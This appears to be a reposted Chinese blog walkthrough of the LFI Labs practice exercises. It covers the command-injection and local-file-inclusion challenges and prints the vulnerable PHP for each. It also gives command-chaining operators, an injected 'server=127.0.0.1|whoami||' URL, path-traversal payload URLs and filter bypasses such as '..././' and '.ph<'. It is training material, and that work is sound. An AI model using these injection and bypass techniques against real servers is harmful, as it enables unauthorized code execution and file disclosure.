Web安全基礎 - LFI Labs
本實驗來自于https://github.com/paralax/lfi-labs
做到一半了才發現BUUCTF上有,可以參考本篇做一下
CMD
CMD-1
該關卡直接執行Get方法cmd對應的命令
<?php
system($_GET["cmd"]);
?>

CMD-2
和上題相似,接收引數方式換成POST請求
<?php
system($_POST["cmd"]);
?>

CMD-3
本實驗應該在LNIUX環境下運行,我們要修改/usr/bin/whois為作用相近的nslookup
<?php
system("/usr/bin/whois " . $_GET["domain"]);
?>
補充一些常用的繞過方法
cmd1|cmd2:不論cmd1是否為真,cmd2都會被執行;
cmd1;cmd2:不論cmd1是否為真,cmd2都會被執行;
cmd1||cmd2:如果cmd1為假,則執行cmd2;
cmd1&&cmd2:如果cmd1為真,則執行cmd2;

CMD-4
<?php
system("whois " . $_POST["domain"]);
?>
Windows同樣沒有whois改代碼可以用Docker創建,
在實驗目錄下運行docker-compose up記得開啟Docker-Desktop來啟動守護行程,

CMD-5
<?php
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|b[abdefghijmnorstvwyz]|c[acdfghiklmnoruvxyz]|d[ejkmoz]|e[cegrstu]|f[ijkmor]|g[abdefghilmnpqrstuwy]|h[kmnrtu]|i[delmnoqrst]|j[emop]|k[eghimnprwyz]|l[abcikrstuvy]|m[acdeghklmnopqrstuvwxyz]|n[acefgilopruz]|om|p[aefghklmnrstwy]|qa|r[eosuw]|s[abcdeghijklmnortuvyz]|t[cdfghjklmnoprtvwz]|u[agksyz]|v[aceginu]|w[fs]|y[et]|z[amw]|biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
?>
本關先對域名進行決議,然后傳參進入whois -h [server] [domain]
根據hint,不是所有的引數都要在文本框輸入,我們可以通過控制server來進行RCE
http://localhost:8080/CMD-5/?domain=facebook.com&server=127.0.0.1|whoami||
LFI部分
我們重點學習LFI的相關繞過
基礎知識
檔案包含漏洞就是利用檔案包含函式,來實作資訊泄露或代碼注入等惡意操作,
檔案包含的條件:
- allow_url_fopen=On (默認為 On) 規定是否允許從遠程服務器或者網站檢索資料
- allow_url_include=On (php5.2 之后默認為 Off) 規定是否允許 include/require 遠程檔案
兩個配置選項均需要為On,才能遠程包含檔案(RFI)成功,由于危害較大,所以常見的是LFI,
LFI-1
<?php
include($_GET["page"]);
?>
最簡單的檔案包含,基本原理是include會將檔案作為php檔案來解釋,
在docker里面創建要包含的檔案
root@lfiweb:/var/www/html# cat payload.php
直接get請求包含即可http://localhost:8080/LFI-1/?page=../payload.php
LFI-2
<?php
include("includes/".$_GET['library'].".php");
?>
我的環境下LFI-2沒有includes檔案夾,創建后按照上一題的思路構造
http://localhost:8080/LFI-2/?library=../../payload
這里涉及到了file://協議
file:// 檔案系統是 PHP 使用的默認封裝協議,展現了本地檔案系統,當指定了一個相對路徑(不以/、、\或 Windows 盤符開頭的路徑)提供的路徑將基于當前的作業目錄,在很多情況下是腳本所在的目錄,除非被修改了,使用 CLI 的時候,目錄默認是腳本被呼叫時所在的目錄,在某些函式里,例如 fopen() 和 file_get_contents(),include_path 會可選地搜索,也作為相對的路徑,
LFI-3
<?php
if (substr($_GET['file'], -4, 4) != '.php')
echo file_get_contents($_GET['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
file_get_contents() 函式是用來將檔案的內容讀入到一個字串中的方法,
這里補充下其他常見的檔案包含利用點
include():程式執行到才包含,遇到錯誤生成警告,繼續執行腳本
require():程式運行起來立刻包含,遇到錯誤生成致命錯誤,腳本繼續
include_once():如果檔案已包含,則不再進行包含
require()_once():如果檔案已包含,則不再進行包含
fopen(),file_get_contents()等:檔案讀取函式
根據原始碼,這里的后四位不能是.php
我學到的幾種繞過方法如下,但是都是基于windows檔案系統特性的繞過,docker搭建的環境下還是不會繞,又用回去phpstudy了(對不起我是廢物)
大小寫繞過:php->PHp
空格繞過:php->php<空格>,這個得抓包后在hex中修改
加點饒工:php->php.
特殊字符繞過:php->php::$DATA
使用'.ph<'進使用'.ph<'進行.php拓展過濾滲出行.php拓展過濾滲出
因為該函式是讀取檔案內容,所以這里不會進入phpinfo,而是會回顯(加個<br/>可以看到)
http://localhost/LFILabs/LFI-3/?file=../payload.ph%3C
LFI-4
<?php
include('includes/class_'.addslashes($_GET['class']).'.php');
?>
addslashes() 函式回傳在預定義字符之前添加反斜杠的字串,
預定義字符是:
- 單引號(')
- 雙引號(")
- 反斜杠(\)
- NULL或0x00
補上includes\class_,不使用預定義的字符似乎也能做
http://localhost/LFILabs/LFI-4/?class=/../../../payload
LFI-5
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
補上pages檔案夾,過濾了../,簡單的雙寫就能繞過
http://localhost/LFILabs/LFI-5/?file=..././..././payload.php
LFI-6
<?php
include($_POST["page"]);
?>
簡單換成POST請求

接下來五道題就是這五道題目與的POST復刻
LFI-7
<?php
include("includes/".$_POST['library'].".php");
?>
思路參考LFI-2,更換為POST請求,補上includes檔案夾

LFI-8
<?php
if (substr($_POST['file'], -4, 4) != '.php')
echo file_get_contents($_POST['file']);
else
echo 'You are not allowed to see source files!'."\n";
?>
參考LFI-3

LFI-9
<?php
include('includes/class_'.addslashes($_POST['class']).'.php');
?>
參考LFI-4
補上includes/class_檔案夾

LFI-10
<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
參考LFI-5

LFI-11
<?php include($_POST['stylepath']); ?>
在原始碼下找到下面這段,代碼中隱藏真正的引數
<form action="/LFI-11/index.php" method="POST">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>

LFI-12
<form action="/LFI-12/index.php" method="GET">
<input type="text" name="file">
<input type="hidden" name="style" name="stylepath">
</form>
<?php include($_GET['stylepath']); ?>
LFI-11的get版本http://localhost/LFILabs/LFI-12/?stylepath=../payload.php
LFI-13
<?php
$file = str_replace('../', '', $_GET['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
構建pages檔案夾http://localhost/LFILabs/LFI-13/?file=..././..././payload.php
LFI-14
<?php
$file = str_replace('../', '', $_POST['file']);
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
LFI-13的復刻,最后一道LFI了,感覺有點水,重復太多了,

HDR-1

陰間頁面,,,
hint: array_key_exists() expects exactly 2 parameters
array_key_exists() 函式檢查某個陣列中是否存在指定的鍵名,如果鍵名存在則回傳 true,如果鍵名不存在則回傳 false,
一道不明所以的題目,arr_key_value()引數不全,可以猜測是創建一個Cookie來繞過,推薦EditCookie插件
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538614.html
標籤:其他
